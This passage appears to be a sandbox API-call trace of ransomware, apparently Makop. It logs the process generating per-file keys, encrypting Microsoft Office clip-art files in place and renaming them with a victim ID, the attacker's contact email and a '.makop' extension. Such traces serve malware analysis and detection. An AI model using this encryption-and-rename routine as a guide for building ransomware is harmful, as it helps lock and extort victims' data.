Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.827] GetProcessHeap () returned 0x48a0000 [0135.827] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.827] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.828] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.828] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.828] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.828] GetProcessHeap () returned 0x48a0000 [0135.828] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.828] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.828] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.828] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.832] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.832] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.833] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.833] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.833] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.833] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.833] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x81f0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x81f0, lpOverlapped=0x0) returned 1 [0135.835] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x81f0, dwBufLen=0x81f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x81f0) returned 1 [0135.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.836] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x81f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x81f0, lpOverlapped=0x0) returned 1 [0135.836] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x82c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.836] SetEndOfFile (hFile=0xf0) returned 1 [0135.844] GetProcessHeap () returned 0x48a0000 [0135.844] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.844] GetProcessHeap () returned 0x48a0000 [0135.844] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.844] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.846] CloseHandle (hObject=0xf0) returned 1 [0135.846] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaabb, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309664.JPG", cAlternateFileName="")) returned 1 [0135.846] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG") returned 63 [0135.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.848] GetProcessHeap () returned 0x48a0000 [0135.848] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.848] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.849] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0135.852] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.853] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.853] GetProcessHeap () returned 0x48a0000 [0135.853] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.853] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.853] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.853] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.853] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.853] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.853] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.854] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.854] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.854] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.854] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.854] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.854] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaabb, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xaabb, lpOverlapped=0x0) returned 1 [0135.856] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaac0, dwBufLen=0xaac0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaac0) returned 1 [0135.856] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.856] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaac0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xaac0, lpOverlapped=0x0) returned 1 [0135.857] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.857] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xab94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.858] SetEndOfFile (hFile=0xf0) returned 1 [0135.864] GetProcessHeap () returned 0x48a0000 [0135.864] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.864] GetProcessHeap () returned 0x48a0000 [0135.864] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.864] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.866] CloseHandle (hObject=0xf0) returned 1 [0135.866] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309705.JPG", cAlternateFileName="")) returned 1 [0135.866] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG") returned 63 [0135.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.867] GetProcessHeap () returned 0x48a0000 [0135.867] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.867] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0135.871] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.871] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.871] GetProcessHeap () returned 0x48a0000 [0135.871] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.871] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.871] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.871] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.872] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.872] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.872] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.872] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.873] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4ada, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4ada, lpOverlapped=0x0) returned 1 [0135.874] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ae0, dwBufLen=0x4ae0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ae0) returned 1 [0135.874] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4ae0, lpOverlapped=0x0) returned 1 [0135.875] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.875] SetEndOfFile (hFile=0xf0) returned 1 [0135.882] GetProcessHeap () returned 0x48a0000 [0135.882] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.882] GetProcessHeap () returned 0x48a0000 [0135.882] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.882] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.884] CloseHandle (hObject=0xf0) returned 1 [0135.884] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b95a400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b95a400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309902.WMF", cAlternateFileName="")) returned 1 [0135.884] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF") returned 63 [0135.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.885] GetProcessHeap () returned 0x48a0000 [0135.885] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.885] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.886] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.886] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.886] GetProcessHeap () returned 0x48a0000 [0135.886] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.886] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.886] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.886] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.891] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.891] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.891] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.891] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.892] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.892] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.892] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.892] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a00, lpOverlapped=0x0) returned 1 [0135.894] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a00, dwBufLen=0x1a00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a00) returned 1 [0135.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.894] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a00, lpOverlapped=0x0) returned 1 [0135.894] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.894] SetEndOfFile (hFile=0xf0) returned 1 [0135.901] GetProcessHeap () returned 0x48a0000 [0135.901] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.901] GetProcessHeap () returned 0x48a0000 [0135.901] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.901] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.901] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.903] CloseHandle (hObject=0xf0) returned 1 [0135.903] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc6d100, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5cc6d100, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309904.WMF", cAlternateFileName="")) returned 1 [0135.903] wsprintfW (in: 